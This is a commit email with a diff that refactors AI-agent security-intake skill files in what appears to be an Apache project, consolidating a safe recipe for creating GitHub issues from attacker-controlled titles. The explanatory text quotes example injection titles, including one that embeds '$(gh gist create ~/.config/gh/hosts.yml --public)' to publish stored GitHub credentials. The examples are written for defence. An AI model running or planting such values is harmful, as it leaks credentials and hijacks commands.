You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@magpie.apache.org by po...@apache.org on 2026/09/27 23:38:45 UTC

(magpie) 03/04: refactor(security): one safe-create recipe and board pointers instead of copies (#1437)

This is an automated email from the ASF dual-hosted git repository.

potiuk pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/magpie.git

commit 7b921a4152ccd39f1c8447f67d95892116d438b3
Author: Jarek Potiuk <ja...@potiuk.com>
AuthorDate: Mon Sep 28 01:38:16 2026 +0200

    refactor(security): one safe-create recipe and board pointers instead of copies (#1437)
    
    The three import skills each carried their own copy of the "create a
    tracker from an attacker-controlled title" recipe (Write-tool title
    file, `gh api -F title=@...`), and from-md, from-pr and invalidate each
    inlined the Projects V2 GraphQL that tools/github/project-board.md
    already documents.
    
    - tools/github/operations.md "Create" is now that safe-create recipe.
      The old one used `gh issue create --title '<title>'`, the exact form
      the import skills forbid for attacker-controlled titles.
    - security-issue-import, -from-md and -from-pr point at it and keep only
      their own title/body file names and labels.
    - from-md 5c, from-pr 7d and invalidate 5c point at the orphan-issue,
      introspection and archive recipes in project-board.md. That also
      removes the reference adopter's board IDs hardcoded in from-pr and
      invalidate, and invalidate's `items(first: 100)` lookup, which missed
      items on boards with more than 100 entries.
    
    The only eval input that changed is security-issue-import step 7; it
    passes 3/3 before and after.
    
    Generated-by: Claude Code (Opus 5.5)
---
 .../skills/issue-import-from-md/SKILL.md           | 65 ++++-----------------
 .../skills/issue-import-from-pr/SKILL.md           | 68 ++++------------------
 .../magpie-security/skills/issue-import/apply.md   | 38 +++---------
 .../skills/issue-invalidate/SKILL.md               | 40 +++----------
 tools/github/operations.md                         | 36 +++++++++---
 5 files changed, 68 insertions(+), 179 deletions(-)

diff --git a/plugins/magpie-security/skills/issue-import-from-md/SKILL.md b/plugins/magpie-security/skills/issue-import-from-md/SKILL.md
index e17c6263..fb66af0c 100644
--- a/plugins/magpie-security/skills/issue-import-from-md/SKILL.md
+++ b/plugins/magpie-security/skills/issue-import-from-md/SKILL.md
@@ -26,7 +26,7 @@ argument-hint: "[path-to-markdown-file]"
 capability: capability:intake
 surface_hash: sha256:1d08d4f255528555
 license: Apache-2.0
-measured_tokens: 7426
+measured_tokens: 7098
 ---
 
 <!-- Placeholder convention (see AGENTS.md#placeholder-convention-used-in-skill-files):
@@ -549,28 +549,15 @@ _No response_
 EOF
 ```
 
-Create:
-
+Create it per the safe-create recipe in
+[`tools/github/operations.md`](../../../../tools/github/operations.md#create).
 The finding title comes from the source markdown, which may have
 been produced by an external scanner or AI review pass — treat it
-as attacker-controlled. **Do not** inline it into a shell argument
-at all: a finding title containing `'` breaks out of single
-quotes, and one containing `$(...)` or backticks expands inside
-double quotes. **Use the Write tool** (not Bash) to put the title
-verbatim into `/tmp/import-md-<basename>-<index>-title.txt`, then
-pass via `-F`, which reads the value verbatim from the file:
-
-*Write tool call:*
-`file_path: /tmp/import-md-<basename>-<index>-title.txt`,
-`content: [ Security Report ] <finding title>`
-
-Then:
-```bash
-gh api repos/<tracker>/issues \
-  -F title=@/tmp/import-md-<basename>-<index>-title.txt \
-  -F body=@/tmp/import-md-<basename>-<index>-body.md \
-  --jq '.number, .node_id, .html_url'
-```
+as attacker-controlled. Title file
+`/tmp/import-md-<basename>-<index>-title.txt` with content
+`[ Security Report ] <finding title>`; body file
+`/tmp/import-md-<basename>-<index>-body.md`; no `labels[]` (5b adds
+them).
 
 Capture `number`, `node_id`, `html_url` from the response.
 
@@ -589,39 +576,9 @@ in the lifecycle.
 ### 5c — Pin to the `Needs triage` board column
 
 Run the orphan-issue path from
-[`tools/github/project-board.md`](../../../../tools/github/project-board.md#orphan-issue-path):
-
-```bash
-gh api graphql -f query='
-  mutation($pid:ID!,$nid:ID!) {
-    addProjectV2ItemById(input: { projectId: $pid, contentId: $nid }) {
-      item { id }
-    }
-  }' \
-  -F pid=<project-node-id> \
-  -F nid=<issue-node-id> \
-  --jq '.data.addProjectV2ItemById.item.id'
-```
-
-Capture the returned item ID, then set `Status` to `Needs triage`:
-
-```bash
-gh api graphql -f query='
-  mutation($pid:ID!,$iid:ID!,$fid:ID!,$oid:String!) {
-    updateProjectV2ItemFieldValue(input: {
-      projectId: $pid,
-      itemId: $iid,
-      fieldId: $fid,
-      value: { singleSelectOptionId: $oid }
-    }) { projectV2Item { id } }
-  }' \
-  -F pid=<project-node-id> \
-  -F iid=<item-id> \
-  -F fid=<status-field-id> \
-  -f oid=<needs-triage-option-id>
-```
-
-The `pid` / `fid` / `oid` values come from
+[`tools/github/project-board.md`](../../../../tools/github/project-board.md#orphan-issue-path)
+with the new issue's `node_id`, then set `Status` to `Needs triage`
+with its write recipe. The `pid` / `fid` / `oid` values come from
 [`<project-config>/project.md`](../../../../<project-config>/project.md#github-project-board);
 re-fetch them via the introspection query in
 [`project-board.md`](../../../../tools/github/project-board.md) if
diff --git a/plugins/magpie-security/skills/issue-import-from-pr/SKILL.md b/plugins/magpie-security/skills/issue-import-from-pr/SKILL.md
index 0eafec58..09d34414 100644
--- a/plugins/magpie-security/skills/issue-import-from-pr/SKILL.md
+++ b/plugins/magpie-security/skills/issue-import-from-pr/SKILL.md
@@ -29,7 +29,7 @@ argument-hint: "[pr-number] [repo:owner/name]"
 capability: capability:intake
 surface_hash: sha256:249e4ff2ba6b1d91
 license: Apache-2.0
-measured_tokens: 9831
+measured_tokens: 9462
 ---
 
 <!-- Placeholder convention (see AGENTS.md#placeholder-convention-used-in-skill-files):
@@ -738,26 +738,12 @@ _No response_
 EOF
 ```
 
-Create:
-
+Create it per the safe-create recipe in
+[`tools/github/operations.md`](../../../../tools/github/operations.md#create).
 The cleaned title still derives from the public PR title, which is
-attacker-controlled. **Do not** inline it into a shell argument at
-all — a PR title containing `'` breaks out of single quotes, and
-one containing `$(...)` or backticks expands inside double quotes.
-**Use the Write tool** (not Bash) to put the title verbatim into
-`/tmp/import-pr-<N>-title.txt`, then pass via `-F`, which reads
-the value verbatim from the file:
-
-*Write tool call:* `file_path: /tmp/import-pr-<N>-title.txt`,
-`content: <cleaned title>`
-
-Then:
-```bash
-gh api repos/<tracker>/issues \
-  -F title=@/tmp/import-pr-<N>-title.txt \
-  -F body=@/tmp/import-pr-<N>-body.md \
-  --jq '.number, .node_id, .html_url'
-```
+attacker-controlled. Title file `/tmp/import-pr-<N>-title.txt` with
+content `<cleaned title>`; body file `/tmp/import-pr-<N>-body.md`; no
+`labels[]` (7b adds them).
 
 Capture `number`, `node_id`, `html_url` from the response.
 
@@ -786,43 +772,11 @@ Skip if the user explicitly chose to leave it unset.
 
 Run the orphan-issue path from
 [`tools/github/project-board.md`](../../../../tools/github/project-board.md#orphan-issue-path)
-— `addProjectV2ItemById` followed by
-`updateProjectV2ItemFieldValue`. The `Auto-add to project`
-workflow may have already added the issue (filter:
-`is:issue label:"security issue"`); both branches converge
-because `addProjectV2ItemById` is idempotent.
-
-```bash
-gh api graphql -f query='
-  mutation($pid:ID!,$nid:ID!) {
-    addProjectV2ItemById(input: { projectId: $pid, contentId: $nid }) {
-      item { id }
-    }
-  }' \
-  -F pid=PVT_kwDOCAwKzs4BUzbt \
-  -F nid=<issue-node-id> \
-  --jq '.data.addProjectV2ItemById.item.id'
-```
-
-Capture the returned item ID, then set `Status` to `Assessed`:
-
-```bash
-gh api graphql -f query='
-  mutation($pid:ID!,$iid:ID!,$fid:ID!,$oid:String!) {
-    updateProjectV2ItemFieldValue(input: {
-      projectId: $pid,
-      itemId: $iid,
-      fieldId: $fid,
-      value: { singleSelectOptionId: $oid }
-    }) { projectV2Item { id } }
-  }' \
-  -F pid=PVT_kwDOCAwKzs4BUzbt \
-  -F iid=<item-id> \
-  -F fid=PVTSSF_lADOCAwKzs4BUzbtzhD08bw \
-  -f oid=ce6377ce
-```
-
-The `pid` / `fid` / `oid` values come from
+with the new issue's `node_id`, then set `Status` to `Assessed` with
+its write recipe. The `Auto-add to project` workflow may have already
+added the issue (filter: `is:issue label:"security issue"`); both
+branches converge because `addProjectV2ItemById` is idempotent. The
+`pid` / `fid` / `oid` values come from
 [`project.md`](../../../../<project-config>/project.md#github-project-board);
 re-fetch them via the introspection query in
 [`project-board.md`](../../../../tools/github/project-board.md) if
diff --git a/plugins/magpie-security/skills/issue-import/apply.md b/plugins/magpie-security/skills/issue-import/apply.md
index 130b823c..9773185e 100644
--- a/plugins/magpie-security/skills/issue-import/apply.md
+++ b/plugins/magpie-security/skills/issue-import/apply.md
@@ -133,35 +133,15 @@ For each confirmed `Report` or forwarder-relayed candidate:
    EOF
    ```
 
-2. Create the issue with the `needs triage` and `security issue` labels.
-   The title comes from an attacker-controlled email subject, so it
-   **must not** be inlined into a shell argument at all — a subject
-   like `RCE' --repo <upstream> --title 'leaked` breaks out of
-   single quotes, and a subject like
-   `RCE in $(gh gist create ~/.config/gh/hosts.yml --public)` expands
-   inside double quotes. **Use the Write tool** (not Bash) to put
-   the title verbatim into `/tmp/issue-title-<threadId>.txt`, then
-   pass it via `gh api`'s `-F` form, which reads the value verbatim
-   from the file:
-
-   *Write tool call:* `file_path: /tmp/issue-title-<threadId>.txt`,
-   `content: <title>`
-
-   Then:
-   ```bash
-   gh api repos/<tracker>/issues \
-     -F title=@/tmp/issue-title-<threadId>.txt \
-     -F body=@/tmp/issue-body-<threadId>.md \
-     -f 'labels[]=needs triage' \
-     -f 'labels[]=security issue' \
-     --jq '.number'
-   ```
-   Same rule applies anywhere this skill produces a `gh` call that
-   takes attacker-controlled text as an argument: write the value
-   to a tempfile **with the Write tool**, pass via `-F`. Never
-   `--title '<x>'`, never `--title "<x>"`, never
-   `printf '%s' "<x>"` (the double-quoted argument still expands
-   `$(...)` before `printf` runs).
+2. Create the issue with the `needs triage` and `security issue` labels,
+   per the safe-create recipe in
+   [`tools/github/operations.md`](../../../../tools/github/operations.md#create).
+   The title comes from an attacker-controlled email subject: title
+   file `/tmp/issue-title-<threadId>.txt`, body file
+   `/tmp/issue-body-<threadId>.md`, `labels[]=needs triage` and
+   `labels[]=security issue`. Capture the new issue's `number`.
+   The recipe's rule covers every `gh` call this skill makes with
+   attacker-controlled text as an argument.
 
 3. **Set the project-board `Status` to `Needs triage`.** The newly-
    created issue may already have been added to the board by the
diff --git a/plugins/magpie-security/skills/issue-invalidate/SKILL.md b/plugins/magpie-security/skills/issue-invalidate/SKILL.md
index ef58eaf2..5686a6c2 100644
--- a/plugins/magpie-security/skills/issue-invalidate/SKILL.md
+++ b/plugins/magpie-security/skills/issue-invalidate/SKILL.md
@@ -29,7 +29,7 @@ argument-hint: "[issue-number]"
 capability: capability:resolve
 surface_hash: sha256:3de4299ddc44314c
 license: Apache-2.0
-measured_tokens: 7865
+measured_tokens: 7736
 ---
 
 <!-- Placeholder convention (see AGENTS.md#placeholder-convention-used-in-skill-files):
@@ -425,36 +425,12 @@ here).
 
 ### 5c — Project-board archive
 
-Locate the project-board item ID:
-
-```bash
-gh api graphql -f query='
-  query($pid:ID!,$nid:ID!) {
-    node(id:$pid) {
-      ... on ProjectV2 {
-        items(first: 100) {
-          nodes { id content { ... on Issue { number id } } }
-        }
-      }
-    }
-  }' \
-  -F pid=PVT_kwDOCAwKzs4BUzbt \
-  -F nid=<tracker-node-id> \
-  --jq '.data.node.items.nodes[] | select(.content.number == <N>) | .id'
-```
-
-Then archive:
-
-```bash
-gh api graphql -f query='
-  mutation($pid:ID!,$iid:ID!) {
-    archiveProjectV2Item(input: { projectId: $pid, itemId: $iid }) {
-      item { id isArchived }
-    }
-  }' \
-  -F pid=PVT_kwDOCAwKzs4BUzbt \
-  -F iid=<item-id>
-```
+Locate the tracker's board item with the introspection query in
+[`tools/github/project-board.md`](../../../../tools/github/project-board.md#introspection--find-the-itemid-and-current-column),
+then archive it with that file's
+[archive recipe](../../../../tools/github/project-board.md#archive-recipe).
+The `pid` comes from
+[`<project-config>/project.md`](../../../../<project-config>/project.md#github-project-board).
 
 `archiveProjectV2Item` (not `deleteProjectV2Item`) — archiving
 preserves the item's history in the board's archived view; the
@@ -462,7 +438,7 @@ team can still find old invalid trackers via the *Archived items*
 filter when they need precedent for a similar future close.
 Deletion would lose that history.
 
-If the tracker is not on the board (no rows returned by the
+If the tracker is not on the board (no item returned by the
 introspection query), skip the archive step and note in the
 rollup that the item was already absent from the board (an
 `Auto-add` workflow gap or a manual prior removal — surface as
diff --git a/tools/github/operations.md b/tools/github/operations.md
index 2721501c..6cad689b 100644
--- a/tools/github/operations.md
+++ b/tools/github/operations.md
@@ -93,16 +93,38 @@ issue sits on.
 
 ### Create
 
+A tracker title almost always derives from attacker-controlled text —
+an email subject, a public PR title, a scanner finding — so it
+**must not** be inlined into a shell argument at all. A title like
+`RCE' --repo <upstream> --title 'leaked` breaks out of single quotes,
+and one like `RCE in $(gh gist create ~/.config/gh/hosts.yml --public)`
+expands inside double quotes. **Use the Write tool** (not Bash) to put
+the title verbatim into a title file and the body into a body file,
+then pass both via `gh api`'s `-F` form, which reads each value
+verbatim from its file:
+
+*Write tool call:* `file_path: <title-file>`, `content: <title>`
+
 ```bash
-gh issue create --repo <tracker> \
-  --title '<title>' \
-  --body-file <path> \
-  --label '<label-1>' --label '<label-2>'
+gh api repos/<tracker>/issues \
+  -F title=@<title-file> \
+  -F body=@<body-file> \
+  -f 'labels[]=<label-1>' \
+  -f 'labels[]=<label-2>' \
+  --jq '.number, .node_id, .html_url'
 ```
 
-Always write the body to a temp file and pass `--body-file` — shell
-quoting silently corrupts anything with literal backticks, `$(…)`, or
-newlines inside a multi-paragraph body.
+The `labels[]` lines are optional. Creating through `gh api` also
+bypasses the issue form, so required form fields do not block an
+import that has no value for them yet.
+
+The same rule applies to any `gh` call that takes attacker-controlled
+text as an argument: write the value to a file **with the Write
+tool** and pass it via `-F` or `--body-file`. Never `--title '<x>'`,
+never `--title "<x>"`, never `printf '%s' "<x>"` (the double-quoted
+argument still expands `$(...)` before `printf` runs). Shell quoting
+also silently corrupts a multi-paragraph body with literal backticks,
+`$(…)`, or newlines, so the body always goes through a file.
 
 ### Edit — labels